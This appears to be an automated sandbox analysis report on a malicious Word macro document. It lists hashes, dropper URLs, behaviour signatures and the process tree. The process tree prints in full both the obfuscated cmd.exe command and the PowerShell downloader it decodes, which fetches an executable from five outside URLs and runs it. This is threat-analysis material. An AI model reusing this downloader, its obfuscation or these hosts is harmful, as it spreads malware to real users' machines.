Analysis

  • max time kernel
    54s
  • max time network
    52s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    22-11-2024 02:20

General

  • Target

    fd15363835636b0455cd31ed7860dfbc3d06b14cc172e02d68afd26f3962a10f.doc

  • Size

    62KB

  • MD5

    8cf2a878780f9f16e7dd5ce997ee9a97

  • SHA1

    0f5c26827acc179f7619b847a21de4e63b7bddce

  • SHA256

    fd15363835636b0455cd31ed7860dfbc3d06b14cc172e02d68afd26f3962a10f

  • SHA512

    e0ba84a3667ee46a042b167a624dcf3c14c2de28cba94dcba1afb6f035c6b52eddeec26a02fff4e2b4ef1ed9fea330169a302d979b7563c37db7903354e1b13d

  • SSDEEP

    768:8ooSooooUatoXoooonooqoooUoooooIooUpJcaUitGAlmrJpmxlzC+w99NBD3y6L:QptJlmrJpmxlRw99NB7yZhERepNiqwC

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://tomas.datanom.fi/testlab/w0qi46LyvZ

exe.dropper

http://www.plasdo.com/MNXfUEtpo

exe.dropper

http://vinastone.com/m3qQf5sLVY

exe.dropper

http://vaarbewijzer.nl/D50JpVAsc0

exe.dropper

http://ruforum.uonbi.ac.ke/wp-content/uploads/afZG2WrC

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\fd15363835636b0455cd31ed7860dfbc3d06b14cc172e02d68afd26f3962a10f.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1656
    • C:\Windows\SysWOW64\cmd.exe
      cmd /V/C"s^e^t NnQ=^ ^ ^ ^ ^ ^ ^ ^ ^}}{hct^ac^};kaerb;hZP^$ ^me^tI-^ekovn^I;)^h^ZP$ ^,s^o^j^$(^e^liFdaoln^w^o^D^.rV^S^$^{yr^t{)R^h^l$^ ni^ ^soj^$(^hcaerof^;^'e^xe.^'^+^fo^O^$+^'\^'^+c^il^bu^p:vn^e^$=hZP$;^'^23^8^'^ ^= ^f^o^O^$^;)'@^'(t^i^lpS^.^'Cr^W2G^Z^fa/^sd^ao^l^pu/tnetnoc^-^p^w/^ek.ca^.ibn^ou.^m^urofur//^:pt^t^h@0c^sAV^p^J05^D/^ln.r^e^z^j^iw^e^br^aav//:^ptt^h@^YVLs5fQq3^m/moc^.en^o^t^saniv//^:p^t^t^h@^o^pt^EU^fXN^M/moc^.^o^ds^alp.^www//^:^p^tth^@^Zvy^L^64^iq^0^w/b^alt^se^t/^i^f^.m^ona^t^ad^.^s^amo^t//^:^ptth^'^=Rh^l$^;^tnei^lC^be^W^.teN tc^e^jb^o-^wen=rVS$^ ^l^leh^sr^ew^op&&^f^or /^L %^H in (40^5^;^-1;0)^d^o ^s^e^t k^h=!k^h!!NnQ:~%^H,1!&&^if %^H=^=^0 c^a^l^l %k^h:^~^-^4^06%"
      2⤵
      • Process spawned unexpected child process
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2820
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell $SVr=new-object Net.WebClient;$lhR='http://tomas.datanom.fi/testlab/w0qi46LyvZ@http://www.plasdo.com/MNXfUEtpo@http://vinastone.com/m3qQf5sLVY@http://vaarbewijzer.nl/D50JpVAsc0@http://ruforum.uonbi.ac.ke/wp-content/uploads/afZG2WrC'.Split('@');$Oof = '832';$PZh=$env:public+'\'+$Oof+'.exe';foreach($jos in $lhR){try{$SVr.DownloadFile($jos, $PZh);Invoke-Item $PZh;break;}catch{}}
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2692
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2784

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1656-0-0x000000002FD21000-0x000000002FD22000-memory.dmp

      Filesize

      4KB

    • memory/1656-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1656-2-0x000000007139D000-0x00000000713A8000-memory.dmp

      Filesize

      44KB

    • memory/1656-5-0x0000000000690000-0x0000000000790000-memory.dmp

      Filesize

      1024KB

    • memory/1656-19-0x00000000059D0000-0x0000000005AD0000-memory.dmp

      Filesize

      1024KB

    • memory/1656-18-0x0000000000690000-0x0000000000790000-memory.dmp

      Filesize

      1024KB

    • memory/1656-4-0x0000000000690000-0x0000000000790000-memory.dmp

      Filesize

      1024KB

    • memory/1656-27-0x000000007139D000-0x00000000713A8000-memory.dmp

      Filesize

      44KB

    • memory/1656-28-0x0000000000690000-0x0000000000790000-memory.dmp

      Filesize

      1024KB

    • memory/1656-29-0x00000000059D0000-0x0000000005AD0000-memory.dmp

      Filesize

      1024KB

    • memory/1656-30-0x00000000059D0000-0x0000000005AD0000-memory.dmp

      Filesize

      1024KB